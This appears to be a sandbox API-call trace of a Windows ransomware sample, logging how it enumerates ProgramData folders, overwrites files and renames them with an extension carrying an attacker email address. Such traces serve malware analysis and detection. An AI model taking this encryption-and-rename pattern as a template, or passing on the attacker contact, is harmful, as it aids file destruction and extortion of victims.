	[0092.290] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0xe8645d31
	[0092.290] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0x29e13812
	[0092.290] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0xe975618e
	[0092.290] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0x156d12f4
	[0092.300] ReadFile (in: hFile=0x148c, lpBuffer=0x51218d8, nNumberOfBytesToRead=0x1231, lpNumberOfBytesRead=0xe13f7fc, lpOverlapped=0x0 | out: lpBuffer=0x51218d8*, lpNumberOfBytesRead=0xe13f7fc*=0x1231, lpOverlapped=0x0) returned 1
	[0092.308] SetFilePointerEx (in: hFile=0x148c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.308] WriteFile (in: hFile=0x148c, lpBuffer=0x512e0e0*, nNumberOfBytesToWrite=0x1231, lpNumberOfBytesWritten=0xe13f7f8, lpOverlapped=0x0 | out: lpBuffer=0x512e0e0*, lpNumberOfBytesWritten=0xe13f7f8*=0x1231, lpOverlapped=0x0) returned 1
	[0092.318] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984ca8
	[0092.318] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984898
	[0092.318] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984898) returned 1
	[0092.318] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x512e0e0) returned 1
	[0092.318] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x51218d8) returned 1
	[0092.318] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0092.318] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0092.318] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x5059178
	[0092.318] SetFilePointerEx (in: hFile=0x148c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.318] WriteFile (in: hFile=0x148c, lpBuffer=0x498ec08*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0xe13f860, lpOverlapped=0x0 | out: lpBuffer=0x498ec08*, lpNumberOfBytesWritten=0xe13f860*=0x10d, lpOverlapped=0x0) returned 1
	[0092.331] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ec08) returned 1
	[0092.331] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5059338) returned 1
	[0092.331] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984898) returned 1
	[0092.331] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5059178) returned 1
	[0092.331] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984ca8) returned 1
	[0092.331] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781710) returned 1
	[0092.331] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0092.331] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984ac8) returned 1
	[0092.331] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ba08
	[0092.331] wcscpy (in: _Dest=0x481ba08, _Source="C:\\ProgramData\\Microsoft\\Windows Live\\WLive48x48.png" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Live\\WLive48x48.png") returned="C:\\ProgramData\\Microsoft\\Windows Live\\WLive48x48.png"
	[0092.331] wcscat (in: _Dest=0x481ba08, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Live\\WLive48x48.png.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\Windows Live\\WLive48x48.png.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0092.331] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Windows Live\\WLive48x48.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xe13f818, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Windows Live\\WLive48x48.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0092.331] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4717c00
	[0092.332] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717c00) returned 1
	[0092.332] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2cc60) returned 1
	[0092.332] NtQueryInformationFile (in: FileHandle=0x148c, IoStatusBlock=0xe13f824, FileInformation=0xe13f7fc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xe13f824, FileInformation=0xe13f7fc) returned 0x0
	[0092.332] NtSetInformationFile (FileHandle=0x148c, IoStatusBlock=0xe13f824, FileInformation=0xe13f7fc, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0092.333] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ba08) returned 1
	[0092.333] FlushFileBuffers (hFile=0x148c) returned 1
	[0093.279] CloseHandle (hObject=0x148c) 

Thread:
	id = 322
	os_tid = 0x1430

	[0076.859] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2daba80
	[0076.859] wcscpy (in: _Dest=0x2daba80, _Source="C:\\ProgramData\\Microsoft\\Windows NT" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT") returned="C:\\ProgramData\\Microsoft\\Windows NT"
	[0076.859] wcscat (in: _Dest=0x2daba80, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\"
	[0076.859] wcscat (in: _Dest=0x2daba80, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\*") returned="C:\\ProgramData\\Microsoft\\Windows NT\\*"
	[0076.859] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e28000
	[0076.859] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\*", lpFindFileData=0x2e28000 | out: lpFindFileData=0x2e28000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a93496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d876f8
	[0079.950] wcscmp (_String1=".", _String2=".") returned 0
	[0079.950] FindNextFileW (in: hFindFile=0x2d876f8, lpFindFileData=0x2e28000 | out: lpFindFileData=0x2e28000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a93496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.950] wcscmp (_String1="..", _String2=".") returned 1
	[0079.950] wcscmp (_String1="..", _String2="..") returned 0
	[0079.950] FindNextFileW (in: hFindFile=0x2d876f8, lpFindFileData=0x2e28000 | out: lpFindFileData=0x2e28000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb2396478, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb2396478, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFax", cAlternateFileName="")) returned 1
	[0079.950] wcscmp (_String1="MSFax", _String2=".") returned 1
	[0079.950] wcscmp (_String1="MSFax", _String2="..") returned 1
	[0079.950] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x54) returned 0x2daf128
	[0079.950] wcscpy (in: _Dest=0x2daf128, _Source="C:\\ProgramData\\Microsoft\\Windows NT" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT") returned="C:\\ProgramData\\Microsoft\\Windows NT"
	[0079.950] wcscat (in: _Dest=0x2daf128, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\"
	[0079.950] wcscat (in: _Dest=0x2daf128, _Source="MSFax" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax"
	[0092.243] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2d77780
	[0092.243] wcscpy (in: _Dest=0x2d77780, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax"
	[0092.243] wcscat (in: _Dest=0x2d77780, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\"
	[0092.243] wcscat (in: _Dest=0x2d77780, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\*") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\*"
	[0092.243] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4712c10
	[0092.243] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\*", lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb2396478, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb2396478, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b068
	[0092.300] wcscmp (_String1=".", _String2=".") returned 0
	[0092.300] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb2396478, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb2396478, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.300] wcscmp (_String1="..", _String2=".") returned 1
	[0092.300] wcscmp (_String1="..", _String2="..") returned 0
	[0092.300] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b08c11, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActivityLog", cAlternateFileName="ACTIVI~1")) returned 1
	[0092.300] wcscmp (_String1="ActivityLog", _String2=".") returned 1
	[0092.300] wcscmp (_String1="ActivityLog", _String2="..") returned 1
	[0092.300] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6c) returned 0x2e04ae0
	[0092.301] wcscpy (in: _Dest=0x2e04ae0, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax"
	[0092.301] wcscat (in: _Dest=0x2e04ae0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\"
	[0092.301] wcscat (in: _Dest=0x2e04ae0, _Source="ActivityLog" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog"
	[0092.301] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04108
	[0092.301] wcscpy (in: _Dest=0x2e04108, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog"
	[0092.301] wcscat (in: _Dest=0x2e04108, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\"
	[0092.301] wcscat (in: _Dest=0x2e04108, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*"
	[0092.301] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711da0
	[0092.301] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*", lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b08c11, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b268
	[0092.308] wcscmp (_String1=".", _String2=".") returned 0
	[0092.308] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b08c11, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.309] wcscmp (_String1="..", _String2=".") returned 1
	[0092.309] wcscmp (_String1="..", _String2="..") returned 0
	[0092.309] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b08c11, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0092.309] FindClose (in: hFindFile=0x477b268 | out: hFindFile=0x477b268) returned 1
	[0092.309] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4711da0) returned 1
	[0092.309] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04108) returned 1
	[0092.309] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0092.309] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0960f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbd313219, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Coverpages", cAlternateFileName="COMMON~1")) returned 1
	[0092.309] wcscmp (_String1="Common Coverpages", _String2=".") returned 1
	[0092.309] wcscmp (_String1="Common Coverpages", _String2="..") returned 1
	[0092.309] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x78) returned 0x47bc290
	[0092.309] wcscpy (in: _Dest=0x47bc290, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax"
	[0092.309] wcscat (in: _Dest=0x47bc290, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\"
	[0092.309] wcscat (in: _Dest=0x47bc290, _Source="Common Coverpages" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages"
	[0092.309] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7c) returned 0x498e010
	[0092.310] wcscpy (in: _Dest=0x498e010, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages"
	[0092.310] wcscat (in: _Dest=0x498e010, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\"
	[0092.310] wcscat (in: _Dest=0x498e010, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*"
	[0092.310] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711668
	[0092.310] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*", lpFindFileData=0x4711668 | out: lpFindFileData=0x4711668*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0960f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbd313219, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b268
	[0092.319] wcscmp (_String1=".", _String2=".") returned 0
	[0092.320] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4711668 | out: lpFindFileData=0x4711668*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0960f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbd313219, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.320] wcscmp (_String1="..", _String2=".") returned 1
	[0092.320] wcscmp (_String1="..", _String2="..") returned 0
	[0092.320] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4711668 | out: lpFindFileData=0x4711668*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd313219, ftCreationTime.dwHighDateTime=0x1d112f1, ftLastAccessTime.dwLowDateTime=0xc2b0a072, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbd313219, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0092.320] wcscmp (_String1="en-US", _String2=".") returned 1
	[0092.320] wcscmp (_String1="en-US", _String2="..") returned 1
	[0092.320] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x84) returned 0x476dc48
	[0092.320] wcscpy (in: _Dest=0x476dc48, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages"
	[0092.320] wcscat (in: _Dest=0x476dc48, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\"
	[0092.320] wcscat (in: _Dest=0x476dc48, _Source="en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US"
	[0092.320] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476e818
	[0092.320] wcscpy (in: _Dest=0x476e818, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US"
	[0092.320] wcscat (in: _Dest=0x476e818, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\"
	[0092.320] wcscat (in: _Dest=0x476e818, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*"
	[0092.320] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47130e0
	[0092.320] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*", lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd313219, ftCreationTime.dwHighDateTime=0x1d112f1, ftLastAccessTime.dwLowDateTime=0xc2b0a072, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbd313219, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b2e8
	[0092.320] wcscmp (_String1=".", _String2=".") returned 0
	[0092.320] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd313219, ftCreationTime.dwHighDateTime=0x1d112f1, ftLastAccessTime.dwLowDateTime=0xc2b0a072, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbd313219, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.320] wcscmp (_String1="..", _String2=".") returned 1
	[0092.320] wcscmp (_String1="..", _String2="..") returned 0
	[0092.320] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af4c607, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x43ba1000, ftLastWriteTime.dwHighDateTime=0x1d283cc, nFileSizeHigh=0x0, nFileSizeLow=0x28aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="confident.cov", cAlternateFileName="")) returned 1
	[0092.320] wcscmp (_String1="confident.cov", _String2=".") returned 1
	[0092.320] wcscmp (_String1="confident.cov", _String2="..") returned 1
	[0092.320] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x49863c8
	[0092.321] wcscpy (in: _Dest=0x49863c8, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US"
	[0092.321] wcscat (in: _Dest=0x49863c8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\"
	[0092.321] wcscat (in: _Dest=0x49863c8, _Source="confident.cov" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov"
	[0092.321] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\confident.cov")) returned 0x20
	[0092.334] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov", dwFileAttributes=0x20) returned 0
	[0092.334] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\confident.cov"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.334] GetLastError () returned 0x5
	[0092.334] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov", dwFileAttributes=0x20) returned 0
	[0092.334] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49863c8) returned 1
	[0092.334] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af4c607, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x43ba1000, ftLastWriteTime.dwHighDateTime=0x1d283cc, nFileSizeHigh=0x0, nFileSizeLow=0x2a09, dwReserved0=0x0, dwReserved1=0x0, cFileName="fyi.cov", cAlternateFileName="")) returned 1
	[0092.334] wcscmp (_String1="fyi.cov", _String2=".") returned 1
	[0092.334] wcscmp (_String1="fyi.cov", _String2="..") returned 1
	[0092.334] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x4895400
